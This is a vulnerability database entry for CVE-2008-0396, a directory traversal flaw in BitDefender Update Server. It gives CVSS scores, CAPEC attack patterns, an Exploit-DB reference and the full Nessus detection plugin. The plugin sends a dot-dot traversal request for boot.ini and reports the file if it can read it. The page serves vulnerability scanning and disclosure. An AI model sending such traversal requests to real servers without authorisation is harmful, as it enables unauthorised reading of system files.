Vulnerabilities > CVE-2008-0396 - Path Traversal vulnerability in Bitdefender Update Server

047910
CVSS 7.8 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
NONE
Availability impact
NONE
network
low complexity
bitdefender
CWE-22
nessus
exploit available
NVD
Published: 2008-01-23
Updated: 2018-10-15

Summary

Directory traversal vulnerability in BitDefender Update Server (http.exe), as used in BitDefender products including Security for Fileservers and Enterprise Manager (BDEM), allows remote attackers to read arbitrary files via .. (dot dot) sequences in an HTTP request.

Vulnerable Configurations

Part Description Count
Application
Bitdefender
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionBitDefender Products Update Server HTTP Daemon Directory Traversal Vulnerability. CVE-2008-0396. Remote exploit for windows platform
idEDB-ID:31039
last seen2016-02-03
modified2008-01-19
published2008-01-19
reporterOliver Karow
sourcehttps://www.exploit-db.com/download/31039/
titleBitDefender Products Update Server HTTP Daemon Directory Traversal Vulnerability

Nessus

NASL familyCGI abuses
NASL idBITDEFENDER_UPDATE_SERVER_DIR_TRAVERSAL.NASL
descriptionThe version of BitDefender Update Server running on the remote host fails to sanitize request strings of directory traversal sequences, which allows an unauthenticated attacker to read files outside the web server
last seen2020-06-01
modified2020-06-02
plugin id30021
published2008-01-21
reporterThis script is Copyright (C) 2008-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/30021
titleBitDefender Update Server HTTP Request Traversal Arbitrary File Access
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(30021);
  script_version("1.19");
  script_cvs_date("Date: 2018/11/15 20:50:16");

  script_cve_id("CVE-2008-0396");
  script_bugtraq_id(27358);

  script_name(english:"BitDefender Update Server HTTP Request Traversal Arbitrary File Access");
  script_summary(english:"Tries to retrieve a local file");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a directory traversal
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of BitDefender Update Server running on the remote host
fails to sanitize request strings of directory traversal sequences,
which allows an unauthenticated attacker to read files outside the web
server's document directory. 

Note that the server runs with LocalSystem privileges by default.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/486701/30/0/threaded");
  script_set_attribute(attribute:"solution", value:"Apply the patch referenced in the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(22);

  script_set_attribute(attribute:"plugin_publication_date", value: "2008/01/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe",value:"cpe:/a:bitdefender:update_server");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");

  script_dependencies("bitdefender_update_server_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www");

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_kb_item("Services/www");
if (!get_kb_item("www/"+port+"/bitdefender_update_server")) exit(0);


# Try to exploit the issue.
file = "/../../../../../../../../../../../../boot.ini";
r = http_send_recv3(method:"GET", item:file, port:port, exit_on_fail: 1);

# There's a problem if looks like boot.ini.
if ("[boot loader]">< r[2])
{
  if (report_verbosity)
  {
    report = string(
      "Here are the contents of the file '\\boot.ini' that Nessus was able to\n",
      "read from the remote host :\n",
      "\n",
      r[2]
    );
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
}

References